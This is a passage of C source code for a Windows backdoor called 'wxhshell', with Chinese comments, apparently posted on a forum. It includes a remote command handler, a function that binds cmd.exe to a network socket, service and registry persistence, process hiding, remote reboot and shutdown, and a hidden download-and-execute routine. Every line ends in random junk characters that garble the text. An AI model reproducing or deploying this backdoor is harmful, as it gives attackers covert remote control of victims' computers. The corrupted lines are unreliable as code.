  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S~&\o\"5  
  } XPVV+.  
  else { ,lP7 ri  
:~r#LRgc  
    switch(cmd[0]) { Ph"iX'J  
  3:O+GQ*  
  // 帮助 uXP- J]>  
  case '?': { 5:_~mlfi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,*w>z  
    break; hs,5LV)|y  
  } ZpTi:3>  
  // 安装 (WkTQRcN,  
  case 'i': { "?+UI   
    if(Install()) _X?y ,#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * S{\#s  
    else `x< 0A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , Z4p0M  
    break;  3:"AFV  
    } A'b<?)Y7_  
  // 卸载 - YAO3  
  case 'r': { &BTfDsxAK  
    if(Uninstall()) 'iGMn_&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `^`9{@~  
    else FcY$k%;'Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .8%vd  
    break; iPNd!_  
    } w[M5M2CF  
  // 显示 wxhshell 所在路径 .0KOnLdK  
  case 'p': { ;7)OSGR  
    char svExeFile[MAX_PATH]; krwf8!bI  
    strcpy(svExeFile,"\n\r"); 89ZDOji?O  
      strcat(svExeFile,ExeFile); "&| lO|  
        send(wsh,svExeFile,strlen(svExeFile),0); ul}4p{ m[  
    break; @s3aR*ny$  
    } J1& A,Gb  
  // 重启 Y9/{0TArG  
  case 'b': { 37,L**Dgs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =CGD ~p`  
    if(Boot(REBOOT)) \}n !yYh(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {W]bU{%.  
    else { v5P*<U Ax  
    closesocket(wsh); /1H9z`qV  
    ExitThread(0); rn[$x(G  
    } ,WzG.3^m  
    break; 7B VXBw  
    } aKa  R  
  // 关机 1+VY><=n  
  case 'd': { ]gjr+GV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *c!;^Qyp&  
    if(Boot(SHUTDOWN)) aGdpec v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^ YeMe  
    else { _95- -\  
    closesocket(wsh); 70d] d+M|  
    ExitThread(0); BJ_+z gf`  
    } G%y>:$rw[O  
    break; Cca~Cq[%*(  
    } J~M H_N  
  // 获取shell <=#lRZW[z  
  case 's': { $:T<IU[E  
    CmdShell(wsh); z +y;y&P  
    closesocket(wsh); hwEZj`9  
    ExitThread(0); u4`mQ6  
    break; +R3\cRM  
  } [u,hc/PL  
  // 退出 dcV,_  
  case 'x': { {d&X/tT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )er?*^9Z  
    CloseIt(wsh); hP,b-R9\  
    break; jsK|D{m?  
    } c,+L +  
  // 离开 6~:W(E}  
  case 'q': { z" b/osV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %AzPAWcN  
    closesocket(wsh);  PU,6h}  
    WSACleanup(); V[BY/<z)A  
    exit(1); -lJx%9>  
    break; x*5 Ch~<k  
        } wrZ7Sr!/V  
  }  ;Puy A  
  } U-wq- GT  
6R$ F =MB  
  // 提示信息 Y&K<{ KA\4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wq=ZU\Y  
} lGD%R'}  
  } ~%cSckE  
BXQ\A~P\  
  return; fxLE]VJQ  
}  =F",D=  
{[YqGv=fF  
// shell模块句柄 R=#q"9qz  
int CmdShell(SOCKET sock) f.U0E6-(3N  
{ z 'vdC  
STARTUPINFO si; se^NQ=  
ZeroMemory(&si,sizeof(si)); {ar5c&<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'xLM>6[wz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,v$2'm)V  
PROCESS_INFORMATION ProcessInfo; ~#HH;q_7m  
char cmdline[]="cmd"; k;"R y8[k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /8P4%[\  
  return 0; >o0&:h|>$'  
} Z`SWZ<  
t1.zWe+C>3  
// 自身启动模式 !q7;{/QM6  
int StartFromService(void) z&;zU)Jvd  
{ &;r'{$  
typedef struct Cg]3(3   
{ o=QRgdPD  
  DWORD ExitStatus; ^rxfNcU7  
  DWORD PebBaseAddress; mMD$X[:  
  DWORD AffinityMask; zR3lX}g  
  DWORD BasePriority; PMz{8 F  
  ULONG UniqueProcessId; >q} !>k$B  
  ULONG InheritedFromUniqueProcessId; Z=e[ !c  
}   PROCESS_BASIC_INFORMATION; 41 c^\1  
=,/A\F  
PROCNTQSIP NtQueryInformationProcess; !%Z)eO~Z  
CA~em_dC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0x3 h8fs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h=i A;B^>  
Q%X:5G?  
  HANDLE             hProcess; kb>Vw<NtE  
  PROCESS_BASIC_INFORMATION pbi; :uU]rBMo  
|2t7G9[n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VrAXOUJw6  
  if(NULL == hInst ) return 0; 0,"n-5Im  
Hm.&f2|(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IDiUn! 6Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gr[ "A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "FLD%3l  
.NNcc4+  
  if (!NtQueryInformationProcess) return 0; HiS,q0  
 9:K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vJ'yz#tl9  
  if(!hProcess) return 0; 4cErk)F4  
Yq)YS]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c*M)DO`y;h  
s$DT.cvO  
  CloseHandle(hProcess); }K#&5E  
Y_Z &p#Q!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P&-D0T_  
if(hProcess==NULL) return 0; @]y{M;  
)"i>R ~*  
HMODULE hMod; "OS]\-  
char procName[255]; k?|F0e_  
unsigned long cbNeeded; n8;G,[GM80  
oC@"^>4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w/^0tZ~  
SS45<!i y  
  CloseHandle(hProcess); &Gy'AUz-  
kERaY9L\  
if(strstr(procName,"services")) return 1; // 以服务启动 Rrs`h `'-  
r=P$iG'&  
  return 0; // 注册表启动 9`gGsC  
} om*tdG  
$Kw"5cm  
// 主模块 %DND&0`  
int StartWxhshell(LPSTR lpCmdLine) mAYr<=  
{ X"qbB4 (I  
  SOCKET wsl; 6%tiB?  
BOOL val=TRUE; I ")"s  
  int port=0; @$b+~X)7  
  struct sockaddr_in door; um_M}t{  
!w;A=  
  if(wscfg.ws_autoins) Install(); nkCRe  
./BP+\)l O  
port=atoi(lpCmdLine); u%gm+NneK  
+hKPOFa'  
if(port<=0) port=wscfg.ws_port; T0np<l]A  
w'!}(Z5X?  
  WSADATA data; (Aov}I+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;t@ 3Go  
Vp{RX8?.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {7M4SC@p|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i>kNz(*  
  door.sin_family = AF_INET; :;hBq4h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8HH.P`Vk#  
  door.sin_port = htons(port); ]B[/sqf  
)8N)Z~h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^B"_b?b  
closesocket(wsl); tWX+\ |  
return 1; 2AdHj&XE  
} -~Z@,  
9T0wdK]  
  if(listen(wsl,2) == INVALID_SOCKET) { J 1y2Qw$G  
closesocket(wsl); P". qL 5  
return 1; 1WA""yb  
} )>#<S0>'j  
  Wxhshell(wsl); l`5}i|4KTW  
  WSACleanup(); o y%g{,V  
\Dsl7 s=  
return 0; n.H`1@  
Kjca>/id  
} in;+d~?  
r<f-v_bxF  
// 以NT服务方式启动 ~E:/oV:4 >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i7w}`vs  
{ n4d(`  
DWORD   status = 0; ~BYEeUo;%v  
  DWORD   specificError = 0xfffffff; 3 z/O`z  
k f K"i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z5^,!6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !PP?2Ax  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nm :|C 3_I  
  serviceStatus.dwWin32ExitCode     = 0; kp &XX|  
  serviceStatus.dwServiceSpecificExitCode = 0; ;Wrd=)Ka  
  serviceStatus.dwCheckPoint       = 0; s)&R W#:X  
  serviceStatus.dwWaitHint       = 0; =ILo`Q~  
xzf)_ <  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]I*#R9  
  if (hServiceStatusHandle==0) return; |sZ9 /G7  
 q&Ua(I  
status = GetLastError(); 5bqYi  
  if (status!=NO_ERROR) :-'ri Ry  
{ LM`tNZ1Fc!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cF<DUr)Ve  
    serviceStatus.dwCheckPoint       = 0; %!hA\S  
    serviceStatus.dwWaitHint       = 0; 7QL) }b.H  
    serviceStatus.dwWin32ExitCode     = status; >5@ 0lYhH  
    serviceStatus.dwServiceSpecificExitCode = specificError; I8pxo7(-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o _,$`nEJ  
    return; r Xk   
  } : w`i  
kU9AfAe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `9"jHw`D  
  serviceStatus.dwCheckPoint       = 0; M+&eh*:z:  
  serviceStatus.dwWaitHint       = 0; Mud\Q["  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (S93 %ii  
} N|# x9mE  
ne~#{q  
// 处理NT服务事件,比如:启动、停止 GH)+yD[o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~|d?o5W  
{ %KVRiX  
switch(fdwControl) 5>k~yaju/  
{ <HX-qNA?  
case SERVICE_CONTROL_STOP: [(^''*7r+T  
  serviceStatus.dwWin32ExitCode = 0; $/(/v?3][e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E6IL,Iq9  
  serviceStatus.dwCheckPoint   = 0; WAXrA$:3J  
  serviceStatus.dwWaitHint     = 0; 21J82M  
  { !m.')\4<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2!& ;ZcT,  
  } K0!#l Br  
  return; $,@ +Ua  
case SERVICE_CONTROL_PAUSE: =|t1eSzc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JU`'?b  
  break; |P?B AWYeQ  
case SERVICE_CONTROL_CONTINUE: Tf]VcEF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X/D9%[{&  
  break; Dg4^ C  
case SERVICE_CONTROL_INTERROGATE: bX1! fa  
  break; #[ rFep  
}; g<jK^\e W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Y,Ibq  
} 4'eVFu+62  
9 u89P  
// 标准应用程序主函数 k5\ zGsol  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /]58:euR  
{ )uJ`E8>-  
Z`h_oK#y15  
// 获取操作系统版本 CZno2$8@e  
OsIsNt=GetOsVer(); O*"wQ50Ou  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %[F;TZt  
6*oTT(0<p  
  // 从命令行安装 IaqN@IlWb  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6E%k{ r  
.:Xe*Q  
  // 下载执行文件 N@ tb^M  
if(wscfg.ws_downexe) { r,@|Snv)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t#Yh!L6>  
  WinExec(wscfg.ws_filenam,SW_HIDE); S^_yiV S  
} lk'jBl%  
:EAfD(D{)  
if(!OsIsNt) { BiAcjN:Z  
// 如果时win9x,隐藏进程并且设置为注册表启动  ]@ 0V  
HideProc(); #3jZ7RqzQ  
StartWxhshell(lpCmdLine); d`*vJ#$> 2  
} ApB'O;5  
else ^HKaNk<  
  if(StartFromService()) _'v )Fy  
  // 以服务方式启动 V^H47O;VC  
  StartServiceCtrlDispatcher(DispatchTable); 9GOyVKUv  
else _C\ d^a (  
  // 普通方式启动 Xq$0% WjG  
  StartWxhshell(lpCmdLine); c=mFYsSv  
oO,p.X%  
return 0; g5]DA.&(  
}
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只看该作者 1 发表于: 2006-10-10
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